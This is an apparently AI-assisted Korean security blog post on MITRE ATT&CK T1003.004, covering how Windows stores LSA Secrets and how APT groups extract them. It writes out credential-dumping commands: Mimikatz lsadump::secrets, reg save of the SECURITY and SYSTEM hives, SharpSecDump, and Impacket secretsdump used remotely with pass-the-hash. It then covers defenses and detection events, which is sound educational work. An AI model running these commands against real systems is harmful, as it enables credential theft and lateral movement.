LSA Secrets 탈취: 10개 APT 그룹이 서비스 계정 비밀번호를 노리는 이유 | T1003.004
MITRE ATT&CK T1003.004 LSA Secrets 기법의 동작 원리와 10개 APT 그룹 그룹의 자격증명 탈취 방법을 분석합니다. Windows 레지스트리 기반 공격부터 방어 전략까지 완전 해부.
MITRE ATT&CK T1003.004 LSA Secrets 기법의 동작 원리와 10개 APT 그룹 그룹의 자격증명 탈취 방법을 분석합니다. Windows 레지스트리 기반 공격부터 방어 전략까지 완전 해부.
MITRE ATT&CK 프레임워크에 따르면 T1003.004 LSA Secrets 기법은 10개 APT 그룹이 사용하는 자격증명 탈취 방법이다. 2023년 6월 중국 APT15 그룹이 SharpSecDump 도구로 피해 시스템에서 LSA 자격증명을 추출한 사건이 공개되면서 이 기법의 위험성이 다시 주목받고 있다.
Windows 시스템에서 서비스가 실행되려면 특정 계정의 자격증명이 필요하다. 과거에는 이런 민감한 정보를 평문으로 저장하거나 애플리케이션별로 각각 관리해야 했는데, 이는 보안상 매우 위험했다. Microsoft는 이 문제를 해결하기 위해 LSA(Local Security Authority) Secrets라는 중앙집중식 자격증명 저장소를 만들었다.
LSA Secrets는 Windows 서비스 계정 암호, 예약된 작업 자격증명, 원격 접근 비밀번호를 안전하게 보관하는 시스템 수준의 암호화된 저장소이다.
The Local Security Authority (LSA) is a protected system process that's purpose is to authenticate users on the local system. Collectively, LSA handles the local security aspects on the computer (local security policy) and provides translation between names and security identifiers (SIDs). — MITRE ATT&CK T1003.004
LSA는 로컬 시스템에서 사용자를 인증하는 보호된 시스템 프로세스이다. 로컬 보안 정책을 처리하고 이름과 보안 식별자(SID) 간의 변환을 제공한다.
LSA secrets is a mechanism that allows storing secrets, such as passwords, in the Windows Registry. These secrets can be used to authenticate services, schedule tasks, and other tasks that require a password. — Atomic Red Team T1003.004
LSA Secrets는 비밀번호와 같은 기밀 정보를 Windows 레지스트리에 저장하는 메커니즘이다. 이러한 기밀 정보는 서비스 인증, 작업 예약 및 비밀번호가 필요한 기타 작업에 사용된다.
LSA Secrets 시스템은 다음 5가지 핵심 요소로 구성된다:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets 레지스트리 키HKEY_LOCAL_MACHINE\SECURITY\Policy에 저장된 복호화 키| 용어 | 설명 |
|---|---|
| LSA Secrets | 저장 위치: Registry Policy\Secrets / 접근 권한: SYSTEM / 저장 내용: 서비스 계정 암호 / 주요 차이점: 시스템 서비스용 자격증명 |
| SAM | 저장 위치: Registry SAM / 접근 권한: SYSTEM / 저장 내용: 로컬 사용자 해시 / 주요 차이점: 로컬 계정 인증 정보 |
| NTDS.dit | 저장 위치: AD 데이터베이스 파일 / 접근 권한: Domain Admin / 저장 내용: 도메인 모든 해시 / 주요 차이점: Active Directory 전체 자격증명 |
| LSASS Memory | 저장 위치: 프로세스 메모리 / 접근 권한: Debug 권한 / 저장 내용: 현재 로그온 자격증명 / 주요 차이점: 실시간 메모리 내 자격증명 |
| Cached Credentials | 저장 위치: Registry Cache / 접근 권한: SYSTEM / 저장 내용: 도메인 로그온 캐시 / 주요 차이점: 오프라인 도메인 인증용 |
Windows에서 서비스나 예약된 작업을 설정할 때, 시스템은 해당 자격증명을 LSA Secrets에 저장한다.
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\
├── $MACHINE.ACC (컴퓨터 계정 비밀번호)
├── DefaultPassword (자동 로그온 비밀번호)
├── DPAPI_SYSTEM (DPAPI 마스터 키)
├── L$RTMTIMEBOMB_1320153D_8A39_4EC5_B8B6_7A89A8B6C00A (서비스 계정)
└── NL$KM (Netlogon 세션 키)
각 항목은 다음과 같은 구조로 저장된다:
Secret Entry Structure:
├── CurrVal (현재 값 - 암호화됨)
├── OldVal (이전 값 - 암호화됨)
├── CupdTime (현재 값 업데이트 시간)
└── OupdTime (이전 값 업데이트 시간)
LSA secrets are stored in an encrypted form within the registry at HKEY_LOCAL_MACHINE/Security/Policy/Secrets. The parent keys to decrypt the secrets are also stored within the registry at HKEY_LOCAL_MACHINE/Security/Policy. — Atomic Red Team T1003.004
LSA Secrets는 레지스트리에 암호화된 형태로 저장되며, 복호화에 필요한 상위 키들도 동일한 레지스트리 위치에 저장된다.
암호화 과정은 다음과 같다:
Policy\PolSecretEncryptionKey에 저장서비스가 실행되거나 예약된 작업이 시작될 때의 과정이다:
# 의사코드: LSA Secrets 접근 과정
def access_lsa_secret(secret_name):
# 1. SYSTEM 권한 확인
if not has_system_privilege():
raise AccessDenied("SYSTEM 권한 필요")
# 2. 레지스트리에서 암호화된 데이터 읽기
encrypted_data = registry.read(f"HKLM\\SECURITY\\Policy\\Secrets\\{secret_name}\\CurrVal")
# 3. 복호화 키 획득
decryption_key = registry.read("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey")
# 4. 데이터 복호화
decrypted_secret = decrypt(encrypted_data, decryption_key)
# 5. 메모리에 로드 (임시)
return decrypted_secret
LSA secrets can also be dumped from memory. — Atomic Red Team T1003.004
복호화된 LSA Secrets는 메모리에서도 접근할 수 있다. 이는 성능상의 이유로 자주 사용되는 자격증명을 메모리에 캐시하기 때문이다.
LSA Secrets는 은행 금고와 비슷한다. 중요한 문서(자격증명)를 금고(암호화된 레지스트리)에 보관하고, 금고 열쇠(복호화 키)도 같은 은행 내 다른 금고에 보관한다. 하지만 금고지기(SYSTEM 권한)가 문서를 꺼내서 사용할 때는 잠시 책상(메모리) 위에 올려두게 되는데, 이때 누군가 몰래 볼 수 있게 되는 것이다.
자동 로그온 설정 시:
HKLM\SECURITY\Policy\Secrets\DefaultPassword\CurrVal
이 위치에 자동 로그온 사용자의 비밀번호가 저장된다.
도메인 컨트롤러의 경우:
HKLM\SECURITY\Policy\Secrets\$MACHINE.ACC\CurrVal
컴퓨터 계정의 비밀번호가 저장되어 도메인 인증에 사용된다.
서비스 계정 변경 시:
CurrVal에 저장OldVal로 이동Just because there may be no credential material within LSASS memory, this does not mean that there will not be credential material stored on the drive within the LSA secrets. This material can still be used for lateral movement. — Atomic Red Team T1003.004
LSASS 메모리에 자격증명 자료가 없더라도 드라이브의 LSA Secrets에는 자격증명 자료가 저장되어 있을 수 있으며, 이는 여전히 측면 이동에 사용할 수 있다.
공격자들이 LSA Secrets를 선호하는 이유:
1. Mimikatz를 이용한 추출
Adversaries leveraging Mimikatz for LSA Secrets extraction use Mimikatz's lsadump::secrets command to target and extract sensitive data, including password hashes and security keys from system memory. — 검색 자료
# 관리자 권한으로 Mimikatz 실행
mimikatz.exe
# Debug 권한 활성화
privilege::debug
# LSA Secrets 덤프
lsadump::secrets
# 출력 예시:
# Secret : DefaultPassword
# cur/text: MyP@ssw0rd123
#
# Secret : $MACHINE.ACC
# cur/hex : 1a2b3c4d5e6f...
2. 레지스트리 직접 추출
Reg can be used to extract from the Registry. — Atomic Red Team T1003.004
# SYSTEM 권한으로 레지스트리 백업
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# 오프라인 환경에서 분석
# secretsdump.py를 사용한 추출
python secretsdump.py -security security.hive -system system.hive LOCAL
3. SharpSecDump (C# 포트)
In June 2023, it was revealed that the Chinese APT15 utilized the SharpSecDump tool to extract LSA credentials from victim systems. — 검색 자료
# .NET 기반 도구로 메모리에서 직접 추출
.\SharpSecDump.exe
# 또는 특정 대상 지정
.\SharpSecDump.exe -target=lsa
4. 원격 추출
Impacket's secretsdump (Python) can be used to dump SAM and LSA secrets, either remotely, or from local files. — Atomic Red Team T1003.004
# 원격 시스템에서 LSA Secrets 추출
python secretsdump.py domain/user:password@target_ip
# Pass-the-Hash 사용
python secretsdump.py -hashes lm_hash:nt_hash domain/user@target_ip
# Kerberos 티켓 사용
python secretsdump.py -k domain/user@target_ip
2023년 6월 공개된 사례에서 중국 APT15 그룹은 다음과 같은 방식으로 LSA Secrets를 악용했다:
Dumping LSASS credentials is important for attackers because if they successfully dump domain passwords, they can, for example, then use legitimate tools such as PsExec or Windows Management Instrumentation (WMI) to move laterally across the network. — 검색 자료
LSA Protection (RunAsPPL) 활성화
LSA protection is a security feature that defends sensitive information like credentials from theft by blocking untrusted LSA code injection and process memory dumping. — 검색 자료
LSA Protection을 활성화하면 신뢰할 수 없는 LSA 코드 주입과 프로세스 메모리 덤프를 차단한다.
# LSA Protection 활성화
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 (DWORD)
Credential Guard 구현
Credential Guard uses hardware-backed, Virtualization-based security (VBS) to protect against credential theft. With Credential Guard, the Local Security Authority (LSA) stores and protects Active Directory (AD) secrets in an isolated environment. — 검색 자료
Credential Guard는 하드웨어 기반 가상화 보안(VBS)을 사용하여 자격증명 도난을 방지한다.
활성화 방법:
# 그룹 정책을 통한 활성화
gpedit.msc > Computer Configuration > Administrative Templates > System > Device Guard
"Turn On Virtualization Based Security" 활성화
탐지 및 모니터링
이벤트 로그 모니터링:
Event ID: 4656 (레지스트리 키 접근)
Object Name: \REGISTRY\MACHINE\SECURITY\Policy\Secrets
Event ID: 4663 (레지스트리 값 읽기)
Object Name: \REGISTRY\MACHINE\SECURITY\Policy\Secrets\*
프로세스 모니터링:
reg.exe save HKLM\SECURITY 명령 탐지네트워크 모니터링:
보안 구현 체크리스트
핵심 보안 조치:
모니터링 및 탐지:
사고 대응 준비:
T1003.004 LSA Secrets 탈취는 Windows 시스템의 구조적 특성을 악용한 강력한 자격증명 획득 기법이다. 10개 APT 그룹이 사용하는 이유는 메모리 보호가 강화되어도 레지스트리 기반의 LSA Secrets는 여전히 접근 가능하기 때문이다.
이 기법과 관련된 다른 자격증명 탈취 방법들을 함께 이해하면 전체적인 공격 경로를 파악할 수 있다. 자격증명 덤핑: 10개 APT 그룹 그룹의 비밀번호 탈취 경로 | T1003에서 T1003 전체 기법을 다루고 있으며, T1003.001 LSASS Memory와 SAM 파일 크래킹 | T1003.002도 함께 학습하면 도움이 된다.
앞으로 살펴볼 주제는 추출된 자격증명을 활용한 Golden Ticket 공격과 Silver Ticket 위조 같은 Kerberos 기반 공격 기법들이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.